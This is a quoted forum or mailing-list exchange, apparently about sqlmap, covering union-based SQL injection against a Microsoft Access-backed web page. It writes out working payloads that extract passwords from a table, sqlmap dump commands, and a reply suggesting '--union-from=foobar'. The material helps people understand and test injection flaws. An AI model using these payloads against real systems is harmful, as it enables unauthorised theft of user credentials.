引用
Valid statements that show the numbers in the resulting html page:
...&id=123 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13 from foobar
...&id=123 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13 from foobar
- - foobar is an existing table (gathered via error messages in html)
- - password is a valid column in the foobar table
The following URL gives you one password:
...&id=123 union select top 1 1,2,3,4,5,6,password,8,9,10,11,12,13
from foobar
Now I wanted to hand over to sqlmap to dump all passwords:
sqlmap -u <url> -p id --dbms="Microsoft Access" -T foobar -C password
- --dump
which did not work out (0 entries retrieved), but it was confirmed
that the table has several hundred entries.
- - sqlmap was able to detect the number of columns is 13 (correct)
- - sqlmap confirmed a bolean-based blind sqli vulnerability (but no
UNION based sqli)
- - sqlmap was able to confirm the existence of table name (with --tables)
(echo foobar > txt/common-tables.txt)
- - sqlmap was able to confirm the existence of column name password
(with --colums)
When running something like:
- --technique=U --union-cols=13 --union-char=1
sqlmap requested something *like*:
...id=-123 union all select
1,2,3,4,5,6,CHR(58)&CHR(111)&CHR(58),8,9,10,11,12,13 from
MSysAccessObjects%00
which results in the following error message (shown in the html page):
The Microsoft Jet database engine cannot find the input table or query
'MSysAccessObjects'. Make sure it exists and that its name is spelled
correctly.
So if sqlmap would accept a known tablename on the command line that
it would use to detect/confirm the union based sqli vuln, instead of
using "MSysAccessObjects" this would make sqlmap more useful
(or simply use the table name specified in -T or previously
bruteforced to detect union-based sqli).
solution：
引用
Now, in your case, you can (e.g.) use --union-from=foobar which will enforce usage of table name foobar in UNION query injection payloads